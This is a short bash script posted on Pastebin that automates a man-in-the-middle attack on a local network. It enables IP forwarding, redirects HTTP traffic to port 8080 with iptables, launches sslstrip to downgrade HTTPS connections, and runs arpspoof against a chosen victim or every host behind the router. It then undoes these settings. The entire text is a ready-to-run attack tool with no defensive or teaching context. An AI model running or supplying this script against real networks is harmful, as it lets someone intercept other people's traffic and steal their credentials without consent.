Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- echo "Enter your adapter:"
- read ADAPTER
- route -n
- echo "Enter router ip address:"
- read ROUTER
- echo "Enter target ip address(if you want all leave blank):"
- read TARGET
- if [ -z $TARGET ]; then
- TARGETNAME="ALL"
- else
- TARGETNAME=$TARGET
- fi
- echo "Network adapter set: $ADAPTER"
- echo "Router ip address set: $ROUTER"
- echo "Target ip address set: $TARGETNAME"
- echo "Press enter if all is good..."
- read
- echo "1" > /proc/sys/net/ipv4/ip_forward
- echo "[+] Traffic forward enabled"
- iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
- echo "[+] Iptables set"
- sslstrip -a -l 8080 2>/dev/null & sslstripid=$!
- echo "[+] Sslstrip started with id: $sslstripid"
- echo "If cleanup fails run 'kill [id]'"
- sleep 5
- if [ -z $TARGET ]; then
- arpspoof -i $ADAPTER $ROUTER
- else
- arpspoof -i $ADAPTER -t $TARGET $ROUTER
- fi
- echo "Time to clean up, press enter to continue..."
- read
- kill ${sslstripid}
- echo "[+] Sslstrip terminated"
- iptables -t nat -F
- iptables -t nat -X
- echo "[+] Iptables cleaned up"
- echo "0" > /proc/sys/net/ipv4/ip_forward
- echo "[+] Traffic forward disabled"
Add Comment
Please, Sign In to add comment